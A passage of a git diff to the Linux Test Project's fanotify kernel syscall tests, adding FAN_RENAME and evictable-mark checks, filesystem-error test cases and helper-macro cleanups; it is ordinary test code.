event_set[tst_count].child_fid = NULL; + event_set[tst_count].child_fid = child_fid; strcpy(event_set[tst_count].name, FILE_NAME1); tst_count++; /* @@ -224,24 +362,45 @@ static void do_test(unsigned int number) * FAN_REPORT_NAME is not set, then FAN_CREATE above is merged with * FAN_DELETE below and FAN_OPEN will be merged with FAN_CLOSE. */ - if (group->flag & FAN_REPORT_NAME) { + if (report_name) { event_set[tst_count].mask = FAN_OPEN; event_set[tst_count].fid = &dir_fid; event_set[tst_count].child_fid = &file_fid; strcpy(event_set[tst_count].name, FILE_NAME1); tst_count++; } + /* + * FAN_RENAME event is independent of MOVED_FROM/MOVED_TO and not merged + * with any other event because it has different info records. + */ + if (report_rename) { + event_set[tst_count].mask = FAN_RENAME; + event_set[tst_count].fid = &dir_fid; + event_set[tst_count].child_fid = child_fid; + strcpy(event_set[tst_count].name, FILE_NAME1); + strcpy(event_set[tst_count].name2, FILE_NAME2); + event_set[tst_count].old_name = event_set[tst_count].name; + event_set[tst_count].new_name = event_set[tst_count].name2; + tst_count++; + } event_set[tst_count].mask = FAN_DELETE | FAN_MOVED_TO; + /* + * With FAN_REPORT_TARGET_FID, close of FILE_NAME2 is merged with + * moved_to and delete events, because they all have parent and + * child fid records. + */ + if (report_target_fid) + event_set[tst_count].mask |= FAN_CLOSE_WRITE; event_set[tst_count].fid = &dir_fid; - event_set[tst_count].child_fid = NULL; + event_set[tst_count].child_fid = child_fid; strcpy(event_set[tst_count].name, FILE_NAME2); tst_count++; /* * When not reporting name, open of FILE_NAME1 is merged * with close of FILE_NAME2. */ - if (!(group->flag & FAN_REPORT_NAME)) { + if (!report_name) { event_set[tst_count].mask = FAN_OPEN | FAN_CLOSE_WRITE; event_set[tst_count].fid = &dir_fid; event_set[tst_count].child_fid = &file_fid; @@ -253,7 +412,7 @@ static void do_test(unsigned int number) * Filesystem watch gets self event w/o name info if FAN_REPORT_FID * is set. */ - if (mark->flag == FAN_MARK_FILESYSTEM && (group->flag & FAN_REPORT_FID)) { + if (fs_mark && (group->flag & FAN_REPORT_FID)) { event_set[tst_count].mask = FAN_DELETE_SELF | FAN_MOVE_SELF; event_set[tst_count].fid = &file_fid; event_set[tst_count].child_fid = NULL; @@ -261,11 +420,10 @@ static void do_test(unsigned int number) tst_count++; } /* - * When reporting name, close of FILE_NAME2 is not merged with - * open of FILE_NAME1 and it is received after the merged self - * events. + * Without FAN_REPORT_TARGET_FID, close of FILE_NAME2 is not merged with + * open of FILE_NAME1 and it is received after the merged self events. */ - if (group->flag & FAN_REPORT_NAME) { + if (report_name && !report_target_fid) { event_set[tst_count].mask = FAN_CLOSE_WRITE; event_set[tst_count].fid = &dir_fid; event_set[tst_count].child_fid = &file_fid; @@ -297,20 +455,62 @@ static void do_test(unsigned int number) strcpy(event_set[tst_count].name, "."); tst_count++; - SAFE_RENAME(dname1, dname2); + /* + * If only root dir and subdir are watched, a rename via an unwatched tmpdir + * will observe the same MOVED_FROM/MOVED_TO events as a direct rename, + * but will observe 2 FAN_RENAME events with 1 info dir+name record each + * instead of 1 FAN_RENAME event with 2 dir+name info records. + * + * If tmpdir is ignoring FAN_RENAME, we will get the MOVED_FROM/MOVED_TO + * events and will not get the FAN_RENAME event for rename via tmpdir. + */ + if (!fs_mark || rename_ignored) { + SAFE_RENAME(dname1, tmpdir); + SAFE_RENAME(tmpdir, dname2); + } else { + SAFE_RENAME(dname1, dname2); + } SAFE_RMDIR(dname2); /* Read more events on dirs */ len += SAFE_READ(0, fd_notify, event_buf + len, EVENT_BUF_LEN - len); + /* + * FAN_RENAME event is independent of MOVED_FROM/MOVED_TO and not merged + * with any other event because it has different info records. + * When renamed via an unwatched tmpdir, the 1st FAN_RENAME event has the + * info record of root_fid+DIR_NAME1 and the 2nd FAN_RENAME event has the + * info record of root_fid+DIR_NAME2. + * If tmpdir is ignoring FAN_RENAME, we get no FAN_RENAME events at all. + */ + if (report_rename && !rename_ignored) { + event_set[tst_count].mask = FAN_RENAME | FAN_ONDIR; + event_set[tst_count].fid = &root_fid; + event_set[tst_count].child_fid = subdir_fid; + strcpy(event_set[tst_count].name, DIR_NAME1); + event_set[tst_count].old_name = event_set[tst_count].name; + if (fs_mark) { + strcpy(event_set[tst_count].name2, DIR_NAME2); + event_set[tst_count].new_name = event_set[tst_count].name2; + } + tst_count++; + } event_set[tst_count].mask = FAN_MOVED_FROM | FAN_ONDIR; event_set[tst_count].fid = &root_fid; - event_set[tst_count].child_fid = NULL; + event_set[tst_count].child_fid = subdir_fid; strcpy(event_set[tst_count].name, DIR_NAME1); tst_count++; + if (report_rename && !fs_mark && !rename_ignored) { + event_set[tst_count].mask = FAN_RENAME | FAN_ONDIR; + event_set[tst_count].fid = &root_fid; + event_set[tst_count].child_fid = subdir_fid; + strcpy(event_set[tst_count].name, DIR_NAME2); + event_set[tst_count].new_name = event_set[tst_count].name; + tst_count++; + } event_set[tst_count].mask = FAN_DELETE | FAN_MOVED_TO | FAN_ONDIR; event_set[tst_count].fid = &root_fid; - event_set[tst_count].child_fid = NULL; + event_set[tst_count].child_fid = subdir_fid; strcpy(event_set[tst_count].name, DIR_NAME2); tst_count++; /* Expect no more events */ @@ -355,10 +555,18 @@ static void do_test(unsigned int number) if (!(group->flag & FAN_REPORT_FID)) expected_child_fid = NULL; - if (!(group->flag & FAN_REPORT_NAME)) + if (!report_name) expected->name[0] = 0; - if (expected->name[0]) { + if (expected->mask & FAN_RENAME) { + /* If old name is not reported, first record is new name */ + info_type = expected->old_name ? + FAN_EVENT_INFO_TYPE_OLD_DFID_NAME : + FAN_EVENT_INFO_TYPE_NEW_DFID_NAME; + /* The 2nd fid is same as 1st becaue we rename in same parent */ + if (expected->name2[0]) + expected_child_fid = expected_fid; + } else if (expected->name[0]) { info_type = FAN_EVENT_INFO_TYPE_DFID_NAME; } else if (expected->mask & FAN_ONDIR) { info_type = FAN_EVENT_INFO_TYPE_DFID; @@ -386,7 +594,7 @@ check_match: "pid=%u fd=%d name='%s' " "len=%d info_type=%d info_len=%d fh_len=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, filename, + (unsigned int)event->pid, event->fd, filename, event->event_len, event_fid->hdr.info_type, event_fid->hdr.len, fhlen); } else if (!fhlen || namelen < 0) { @@ -394,7 +602,7 @@ check_match: "got event without fid: mask=%llx pid=%u fd=%d, " "len=%d info_type=%d info_len=%d fh_len=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, + (unsigned int)event->pid, event->fd, event->event_len, event_fid->hdr.info_type, event_fid->hdr.len, fhlen); } else if (!mask_match) { @@ -403,7 +611,7 @@ check_match: "pid=%u fd=%d name='%s' " "len=%d info_type=%d info_len=%d fh_len=%d", (unsigned long long)event->mask, expected->mask, - (unsigned)event->pid, event->fd, filename, + (unsigned int)event->pid, event->fd, filename, event->event_len, event_fid->hdr.info_type, event_fid->hdr.len, fhlen); } else if (info_type != event_fid->hdr.info_type) { @@ -411,7 +619,7 @@ check_match: "got event: mask=%llx pid=%u fd=%d, " "len=%d info_type=%d expected(%d) info_len=%d fh_len=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, + (unsigned int)event->pid, event->fd, event->event_len, event_fid->hdr.info_type, info_type, event_fid->hdr.len, fhlen); } else if (fhlen != expected_fid->handle.handle_bytes) { @@ -420,7 +628,7 @@ check_match: "len=%d info_type=%d info_len=%d fh_len=%d expected(%d) " "fh_type=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, filename, + (unsigned int)event->pid, event->fd, filename, event->event_len, info_type, event_fid->hdr.len, fhlen, expected_fid->handle.handle_bytes, @@ -432,7 +640,7 @@ check_match: "len=%d info_type=%d info_len=%d fh_len=%d " "fh_type=%d expected(%x)", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, filename, + (unsigned int)event->pid, event->fd, filename, event->event_len, info_type, event_fid->hdr.len, fhlen, file_handle->handle_type, @@ -444,7 +652,7 @@ check_match: "len=%d info_type=%d info_len=%d fh_len=%d " "fh_type=%d unexpected file handle (%x...)", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, filename, + (unsigned int)event->pid, event->fd, filename, event->event_len, info_type, event_fid->hdr.len, fhlen, file_handle->handle_type, @@ -456,7 +664,7 @@ check_match: "len=%d info_type=%d info_len=%d fh_len=%d " "fsid=%x.%x (expected %x.%x)", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, filename, + (unsigned int)event->pid, event->fd, filename, event->event_len, info_type, event_fid->hdr.len, fhlen, FSID_VAL_MEMBER(event_fid->fsid, 0), @@ -469,7 +677,7 @@ check_match: "pid=%u fd=%d name='%s' expected('%s') " "len=%d info_type=%d info_len=%d fh_len=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, + (unsigned int)event->pid, event->fd, filename, expected->name, event->event_len, event_fid->hdr.info_type, event_fid->hdr.len, fhlen); @@ -479,8 +687,8 @@ check_match: "(expected %u) fd=%d name='%s' " "len=%d info_type=%d info_len=%d fh_len=%d", (unsigned long long)event->mask, - (unsigned)event->pid, - (unsigned)getpid(), + (unsigned int)event->pid, + (unsigned int)getpid(), event->fd, filename, event->event_len, event_fid->hdr.info_type, event_fid->hdr.len, fhlen); @@ -490,7 +698,7 @@ check_match: "pid=%u fd=%d name='%s' num_info=%d (expected %d) " "len=%d info_type=%d info_len=%d fh_len=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, + (unsigned int)event->pid, event->fd, filename, 1 + !!child_fid, 1 + !!expected_child_fid, event->event_len, event_fid->hdr.info_type, event_fid->hdr.len, fhlen); @@ -505,6 +713,16 @@ check_match: expected_fid = expected->child_fid; info_id = 1; info_type = FAN_EVENT_INFO_TYPE_FID; + /* + * With FAN_RENAME event, expect a second record of + * type NEW_DFID_NAME, which in our case + * has the same fid as the source dir in 1st record. + * TODO: check the 2nd name and the 3rd child fid record. + */ + if (event->mask & FAN_RENAME && expected->name2[0]) { + info_type = FAN_EVENT_INFO_TYPE_NEW_DFID_NAME; + expected_fid = expected->fid; + } file_handle = (struct file_handle *)event_fid->handle; fhlen = file_handle->handle_bytes; child_fid = NULL; @@ -515,7 +733,7 @@ check_match: "got event #%d: mask=%llx pid=%u fd=%d name='%s' " "len=%d; info #%d: info_type=%d info_len=%d fh_len=%d", test_num, (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, filename, + (unsigned int)event->pid, event->fd, filename, event->event_len, info_id, event_fid->hdr.info_type, event_fid->hdr.len, fhlen); } @@ -545,9 +763,15 @@ check_match: static void setup(void) { REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(FAN_REPORT_DIR_FID, MOUNT_PATH); + fan_report_target_fid_unsupported = + fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME_TARGET, MOUNT_PATH); + rename_events_unsupported = + fanotify_events_supported_by_kernel(FAN_RENAME, FAN_REPORT_DFID_NAME, 0); + SAFE_MKDIR(TEMP_DIR, 0755); sprintf(dname1, "%s/%s", MOUNT_PATH, DIR_NAME1); sprintf(dname2, "%s/%s", MOUNT_PATH, DIR_NAME2); + sprintf(tmpdir, "%s/%s", TEMP_DIR, DIR_NAME2); sprintf(fname1, "%s/%s", dname1, FILE_NAME1); sprintf(fname2, "%s/%s", dname1, FILE_NAME2); } diff --git a/testcases/kernel/syscalls/fanotify/fanotify17.c b/testcases/kernel/syscalls/fanotify/fanotify17.c index 35beb53d..3ecb31b6 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify17.c +++ b/testcases/kernel/syscalls/fanotify/fanotify17.c @@ -20,11 +20,10 @@ #include #include #include -#include #include #include "tst_test.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #ifdef HAVE_SYS_FANOTIFY_H #include "fanotify.h" @@ -159,8 +158,7 @@ static void do_unshare(int map_root) * uid_map file should exist since Linux 3.8 because * it is available on Linux 3.5 */ - if (access(UID_MAP, F_OK)) - tst_brk(TBROK, "file %s didn't exist", UID_MAP); + SAFE_ACCESS(UID_MAP, F_OK); SAFE_FILE_PRINTF(UID_MAP, "%d %d %d", 0, 0, 1); } diff --git a/testcases/kernel/syscalls/fanotify/fanotify18.c b/testcases/kernel/syscalls/fanotify/fanotify18.c index 54a4b8ba..07b064b9 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify18.c +++ b/testcases/kernel/syscalls/fanotify/fanotify18.c @@ -115,14 +115,13 @@ static void test_fanotify(unsigned int n) ((tc->init_flags & DISALLOWED_INIT_FLAGS) || (tc->init_flags & FANOTIFY_REQUIRED_USER_INIT_FLAGS) != FANOTIFY_REQUIRED_USER_INIT_FLAGS)) { - tst_res(TPASS, - "Received result EPERM, as expected"); + tst_res(TPASS, "Received result EPERM, as expected"); return; - } else { - tst_brk(TBROK | TERRNO, - "fanotify_init(0x%lx, O_RDONLY) failed", - tc->init_flags); } + + tst_brk(TBROK | TERRNO, + "fanotify_init(0x%lx, O_RDONLY) failed", + tc->init_flags); } /* Attempt to place mark on object */ @@ -159,6 +158,7 @@ out: static void setup(void) { int fd; + struct passwd *nobody; SAFE_TOUCH(TEST_FILE, 0666, NULL); @@ -169,7 +169,7 @@ static void setup(void) if (geteuid() == 0) { tst_res(TINFO, "Running as privileged user, revoking permissions."); - struct passwd *nobody = SAFE_GETPWNAM("nobody"); + nobody = SAFE_GETPWNAM("nobody"); SAFE_SETUID(nobody->pw_uid); } diff --git a/testcases/kernel/syscalls/fanotify/fanotify19.c b/testcases/kernel/syscalls/fanotify/fanotify19.c index fac257bb..63fc4ee0 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify19.c +++ b/testcases/kernel/syscalls/fanotify/fanotify19.c @@ -29,7 +29,7 @@ #include "fanotify.h" #define EVENT_MAX 1024 -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) #define EVENT_SET_MAX 48 @@ -111,7 +111,7 @@ static void generate_events(void) SAFE_READ(0, fd, buf, BUF_SIZE); /* FAN_MODIFY */ - SAFE_WRITE(1, fd, TEST_FILE, 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, TEST_FILE, 1); /* FAN_CLOSE */ SAFE_CLOSE(fd); @@ -143,13 +143,14 @@ static void test_fanotify(unsigned int n) unsigned int test_number = 0; struct fanotify_event_metadata *event; struct test_case_t *tc = &test_cases[n]; + struct passwd *nobody; tst_res(TINFO, "Test #%d %s", n, tc->name); /* Relinquish privileged user */ if (euid == 0) { tst_res(TINFO, "Running as privileged user, revoking"); - struct passwd *nobody = SAFE_GETPWNAM("nobody"); + nobody = SAFE_GETPWNAM("nobody"); SAFE_SETEUID(nobody->pw_uid); } @@ -161,10 +162,10 @@ static void test_fanotify(unsigned int n) tst_res(TCONF, "unprivileged fanotify not supported by kernel?"); return; - } else { - tst_brk(TBROK | TERRNO, - "fanotify_init(FAN_CLASS_NOTIF, O_RDONLY) failed"); } + + tst_brk(TBROK | TERRNO, + "fanotify_init(FAN_CLASS_NOTIF, O_RDONLY) failed"); } /* Place mark on object */ @@ -202,7 +203,7 @@ static void test_fanotify(unsigned int n) "Received unexpected event mask: mask=%llx " "pid=%u fd=%d", (unsigned long long) event->mask, - (unsigned) event->pid, + (unsigned int) event->pid, event->fd); } else if ((!tc->fork && event->pid != pid) || (tc->fork && event->pid != 0)) { @@ -210,7 +211,7 @@ static void test_fanotify(unsigned int n) "Received unexpected pid in event: " "mask=%llx pid=%u (expected %u) fd=%d", (unsigned long long) event->mask, - (unsigned) event->pid, + (unsigned int) event->pid, (tc->fork ? 0 : pid), event->fd); } else if (event->fd != FAN_NOFD) { @@ -218,7 +219,7 @@ static void test_fanotify(unsigned int n) "Received unexpected file descriptor: " "mask=%llx pid=%u fd=%d (expected %d)", (unsigned long long) event->pid, - (unsigned) event->pid, + (unsigned int) event->pid, event->fd, FAN_NOFD); SAFE_CLOSE(event->fd); @@ -226,7 +227,7 @@ static void test_fanotify(unsigned int n) tst_res(TPASS, "Received event: mask=%llx, pid=%u fd=%d", (unsigned long long) event->mask, - (unsigned) event->pid, + (unsigned int) event->pid, event->fd); } diff --git a/testcases/kernel/syscalls/fanotify/fanotify20.c b/testcases/kernel/syscalls/fanotify/fanotify20.c index de0fdb78..71310fb8 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify20.c +++ b/testcases/kernel/syscalls/fanotify/fanotify20.c @@ -1,6 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2021 Google. All Rights Reserved. + * Copyright (c) 2022 Petr Vorel * * Started by Matthew Bobrowski */ @@ -25,26 +26,21 @@ #include "fanotify.h" #define MOUNT_PATH "fs_mnt" +#define FLAGS_DESC(x) .flags = x, .desc = #x -static int fanotify_fd; +static int fd; static struct test_case_t { - char *name; - unsigned int init_flags; - int want_err; - int want_errno; + unsigned int flags; + char *desc; + int exp_errno; } test_cases[] = { { - "fail on FAN_REPORT_PIDFD | FAN_REPORT_TID", - FAN_REPORT_PIDFD | FAN_REPORT_TID, - 1, - EINVAL, + FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_TID), + .exp_errno = EINVAL, }, { - "pass on FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME", - FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME, - 0, - 0, + FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME), }, }; @@ -57,63 +53,24 @@ static void do_setup(void) REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_BY_KERNEL(FAN_REPORT_PIDFD); } -static void do_test(unsigned int num) +static void do_test(unsigned int i) { - struct test_case_t *tc = &test_cases[num]; + struct test_case_t *tc = &test_cases[i]; - tst_res(TINFO, "Test #%d: %s", num, tc->name); + tst_res(TINFO, "Test %s on %s", tc->exp_errno ? "fail" : "pass", + tc->desc); - fanotify_fd = fanotify_init(tc->init_flags, O_RDONLY); - if (fanotify_fd < 0) { - if (!tc->want_err) { - tst_res(TFAIL, - "fanotify_fd=%d, fanotify_init(%x, O_RDONLY) " - "failed with error -%d but wanted success", - fanotify_fd, tc->init_flags, errno); - return; - } + TST_EXP_FD_OR_FAIL(fd = fanotify_init(tc->flags, O_RDONLY), + tc->exp_errno); - if (errno != tc->want_errno) { - tst_res(TFAIL, - "fanotify_fd=%d, fanotify_init(%x, O_RDONLY) " - "failed with an unexpected error code -%d but " - "wanted -%d", - fanotify_fd, tc->init_flags, - errno, tc->want_errno); - return; - } - - tst_res(TPASS, - "fanotify_fd=%d, fanotify_init(%x, O_RDONLY) " - "failed with error -%d as expected", - fanotify_fd, tc->init_flags, errno); - return; - } - - /* - * Catch test cases that had expected to receive an error upon calling - * fanotify_init() but had unexpectedly resulted in a success. - */ - if (tc->want_err) { - tst_res(TFAIL, - "fanotify_fd=%d, fanotify_init(%x, O_RDONLY) " - "unexpectedly returned successfully, wanted error -%d", - fanotify_fd, tc->init_flags, tc->want_errno); - return; - } - - tst_res(TPASS, - "fanotify_fd=%d, fanotify_init(%x, O_RDONLY) " - "successfully initialized notification group", - fanotify_fd, tc->init_flags); - - SAFE_CLOSE(fanotify_fd); + if (fd > 0) + SAFE_CLOSE(fd); } static void do_cleanup(void) { - if (fanotify_fd >= 0) - SAFE_CLOSE(fanotify_fd); + if (fd > 0) + SAFE_CLOSE(fd); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/fanotify/fanotify21.c b/testcases/kernel/syscalls/fanotify/fanotify21.c index 6ae70c57..8a102808 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify21.c +++ b/testcases/kernel/syscalls/fanotify/fanotify21.c @@ -23,7 +23,8 @@ #include #include "tst_test.h" #include "tst_safe_stdio.h" -#include "lapi/pidfd_open.h" +#include "tst_safe_macros.h" +#include "lapi/pidfd.h" #ifdef HAVE_SYS_FANOTIFY_H #include "fanotify.h" @@ -40,7 +41,7 @@ struct pidfd_fdinfo_t { int ns_pid; }; -struct test_case_t { +static struct test_case_t { char *name; int fork; int want_pidfd_err; @@ -124,12 +125,7 @@ static void do_setup(void) SAFE_FANOTIFY_MARK(fanotify_fd, FAN_MARK_ADD, FAN_OPEN, AT_FDCWD, TEST_FILE); - pidfd = pidfd_open(getpid(), 0); - if (pidfd < 0) { - tst_brk(TBROK | TERRNO, - "pidfd=%d, pidfd_open(%d, 0) failed", - pidfd, getpid()); - } + pidfd = SAFE_PIDFD_OPEN(getpid(), 0); self_pidfd_fdinfo = read_pidfd_fdinfo(pidfd); if (self_pidfd_fdinfo == NULL) { diff --git a/testcases/kernel/syscalls/fanotify/fanotify22.c b/testcases/kernel/syscalls/fanotify/fanotify22.c index bd82fbf6..f4b7987d 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify22.c +++ b/testcases/kernel/syscalls/fanotify/fanotify22.c @@ -42,15 +42,17 @@ #define MOUNT_PATH "test_mnt" #define BASE_DIR "internal_dir" #define BAD_DIR BASE_DIR"/bad_dir" +#define BAD_LINK BASE_DIR"/bad_link" #ifdef HAVE_NAME_TO_HANDLE_AT static char event_buf[BUF_SIZE]; -int fd_notify; +static int fd_notify; /* These expected FIDs are common to multiple tests */ static struct fanotify_fid_t null_fid; static struct fanotify_fid_t bad_file_fid; +static struct fanotify_fid_t bad_link_fid; static void trigger_fs_abort(void) { @@ -65,7 +67,7 @@ static void do_debugfs_request(const char *dev, char *request) SAFE_CMD(cmd, NULL, NULL); } -static void tcase2_trigger_lookup(void) +static void trigger_bad_file_lookup(void) { int ret; @@ -76,15 +78,27 @@ static void tcase2_trigger_lookup(void) ret, BAD_DIR, errno, EUCLEAN); } +static void trigger_bad_link_lookup(void) +{ + int ret; + + /* SAFE_OPEN cannot be used here because we expect it to fail. */ + ret = open(MOUNT_PATH"/"BAD_LINK, O_RDONLY, 0); + if (ret != -1 && errno != EUCLEAN) + tst_res(TFAIL, "Unexpected open result(%d) of %s (%d!=%d)", + ret, BAD_LINK, errno, EUCLEAN); +} + + static void tcase3_trigger(void) { - trigger_fs_abort(); - tcase2_trigger_lookup(); + trigger_bad_link_lookup(); + trigger_bad_file_lookup(); } static void tcase4_trigger(void) { - tcase2_trigger_lookup(); + trigger_bad_file_lookup(); trigger_fs_abort(); } @@ -104,7 +118,7 @@ static struct test_case { }, { .name = "Lookup of inode with invalid mode", - .trigger_error = &tcase2_trigger_lookup, + .trigger_error = &trigger_bad_file_lookup, .error_count = 1, .error = EFSCORRUPTED, .fid = &bad_file_fid, @@ -113,8 +127,8 @@ static struct test_case { .name = "Multiple error submission", .trigger_error = &tcase3_trigger, .error_count = 2, - .error = ESHUTDOWN, - .fid = &null_fid, + .error = EFSCORRUPTED, + .fid = &bad_link_fid, }, { .name = "Multiple error submission 2", @@ -125,7 +139,7 @@ static struct test_case { } }; -int check_error_event_info_fid(struct fanotify_event_info_fid *fid, +static int check_error_event_info_fid(struct fanotify_event_info_fid *fid, const struct test_case *ex) { struct file_handle *fh = (struct file_handle *) &fid->handle; @@ -158,7 +172,7 @@ int check_error_event_info_fid(struct fanotify_event_info_fid *fid, return 0; } -int check_error_event_info_error(struct fanotify_event_info_error *info_error, +static int check_error_event_info_error(struct fanotify_event_info_error *info_error, const struct test_case *ex) { int fail = 0; @@ -178,7 +192,7 @@ int check_error_event_info_error(struct fanotify_event_info_error *info_error, return fail; } -int check_error_event_metadata(struct fanotify_event_metadata *event) +static int check_error_event_metadata(struct fanotify_event_metadata *event) { int fail = 0; @@ -196,7 +210,7 @@ int check_error_event_metadata(struct fanotify_event_metadata *event) return fail; } -void check_event(char *buf, size_t len, const struct test_case *ex) +static void check_event(char *buf, size_t len, const struct test_case *ex) { struct fanotify_event_metadata *event = (struct fanotify_event_metadata *) buf; @@ -248,6 +262,9 @@ static void do_test(unsigned int i) FAN_FS_ERROR, AT_FDCWD, MOUNT_PATH); check_event(event_buf, read_len, tcase); + /* Unmount and mount the filesystem to get it out of the error state */ + SAFE_UMOUNT(MOUNT_PATH); + SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL); } static void pre_corrupt_fs(void) @@ -256,9 +273,11 @@ static void pre_corrupt_fs(void) SAFE_MKDIR(MOUNT_PATH"/"BAD_DIR, 0777); fanotify_save_fid(MOUNT_PATH"/"BAD_DIR, &bad_file_fid); + fanotify_save_fid(MOUNT_PATH"/"BASE_DIR, &bad_link_fid); SAFE_UMOUNT(MOUNT_PATH); do_debugfs_request(tst_device->dev, "sif " BAD_DIR " mode 0xff"); + do_debugfs_request(tst_device->dev, "ln <1> " BAD_LINK); SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL); } diff --git a/testcases/kernel/syscalls/fanotify/fanotify23.c b/testcases/kernel/syscalls/fanotify/fanotify23.c new file mode 100644 index 00000000..fb812c51 --- /dev/null +++ b/testcases/kernel/syscalls/fanotify/fanotify23.c @@ -0,0 +1,264 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2022 CTERA Networks. All Rights Reserved. + * + * Author: Amir Goldstein + */ + +/*\ + * [Description] + * Check evictable fanotify inode marks. + */ + +#define _GNU_SOURCE +#include "config.h" + +#include +#include +#include +#include +#include +#include +#include "tst_test.h" + +#ifdef HAVE_SYS_FANOTIFY_H +#include "fanotify.h" + +#define EVENT_MAX 1024 +/* size of the event structure, not counting name */ +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) +/* reasonable guess as to size of 1024 events */ +#define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) + +#define MOUNT_PATH "fs_mnt" +#define TEST_FILE MOUNT_PATH "/testfile" + +#define DROP_CACHES_FILE "/proc/sys/vm/drop_caches" +#define CACHE_PRESSURE_FILE "/proc/sys/vm/vfs_cache_pressure" + +static int old_cache_pressure; +static int fd_notify; + +static unsigned long long event_set[EVENT_MAX]; + +static char event_buf[EVENT_BUF_LEN]; + +static void fsync_file(const char *path) +{ + int fd = SAFE_OPEN(path, O_RDONLY); + + SAFE_FSYNC(fd); + SAFE_CLOSE(fd); +} + +/* Flush out all pending dirty inodes and destructing marks */ +static void mount_cycle(void) +{ + SAFE_UMOUNT(MOUNT_PATH); + SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL); +} + +static int verify_mark_removed(const char *path, const char *when) +{ + int ret; + + /* + * We know that inode with evictable mark was evicted when a + * bogus call remove ACCESS from event mask returns ENOENT. + */ + errno = 0; + ret = fanotify_mark(fd_notify, FAN_MARK_REMOVE, + FAN_ACCESS, AT_FDCWD, path); + if (ret == -1 && errno == ENOENT) { + tst_res(TPASS, + "FAN_MARK_REMOVE failed with ENOENT as expected" + " %s", when); + return 1; + } + + tst_res(TFAIL | TERRNO, + "FAN_MARK_REMOVE did not fail with ENOENT as expected" + " %s", when); + + return 0; +} + +static void test_fanotify(void) +{ + int ret, len, test_num = 0; + struct fanotify_event_metadata *event; + int tst_count = 0; + + fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF | FAN_REPORT_FID | + FAN_NONBLOCK, O_RDONLY); + + /* + * Verify that evictable mark can be upgraded to non-evictable + * and cannot be downgraded to evictable. + */ + SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | FAN_MARK_EVICTABLE, + FAN_ACCESS, + AT_FDCWD, TEST_FILE); + SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD, + FAN_ACCESS, + AT_FDCWD, TEST_FILE); + errno = 0; + ret = fanotify_mark(fd_notify, FAN_MARK_ADD | FAN_MARK_EVICTABLE, + FAN_ACCESS, + AT_FDCWD, TEST_FILE); + if (ret == -1 && errno == EEXIST) { + tst_res(TPASS, + "FAN_MARK_ADD failed with EEXIST as expected" + " when trying to downgrade to evictable mark"); + } else { + tst_res(TFAIL | TERRNO, + "FAN_MARK_ADD did not fail with EEXIST as expected" + " when trying to downgrade to evictable mark"); + } + SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_REMOVE, + FAN_ACCESS, + AT_FDCWD, TEST_FILE); + verify_mark_removed(TEST_FILE, "after empty mask"); + + + /* + * Watch ATTRIB events on entire mount + */ + SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | FAN_MARK_FILESYSTEM, + FAN_ATTRIB, AT_FDCWD, MOUNT_PATH); + + /* + * Generate events + */ + SAFE_CHMOD(TEST_FILE, 0600); + event_set[tst_count] = FAN_ATTRIB; + tst_count++; + + /* Read events so far */ + ret = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); + len = ret; + + /* + * Evictable mark on file ignores ATTRIB events + */ + SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | FAN_MARK_EVICTABLE | + FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY, + FAN_ATTRIB, AT_FDCWD, TEST_FILE); + + /* ATTRIB event should be ignored */ + SAFE_CHMOD(TEST_FILE, 0600); + + /* + * Read events to verify event was ignored + */ + ret = read(fd_notify, event_buf + len, EVENT_BUF_LEN - len); + if (ret < 0 && errno == EAGAIN) { + tst_res(TPASS, "Got no events as expected"); + } else { + tst_res(TFAIL, "Got expected events"); + len += ret; + } + + /* + * drop_caches should evict inode from cache and remove evictable mark. + * We call drop_caches twice as once the dentries will just cycle + * through the LRU without being reclaimed and if there are no other + * objects to reclaim, the slab reclaim will just stop instead of + * retrying. Note that this relies on how reclaim of fs objects work + * for the filesystem but this test is restricted to ext2... + */ + fsync_file(TEST_FILE); + SAFE_FILE_PRINTF(DROP_CACHES_FILE, "3"); + SAFE_FILE_PRINTF(DROP_CACHES_FILE, "3"); + + 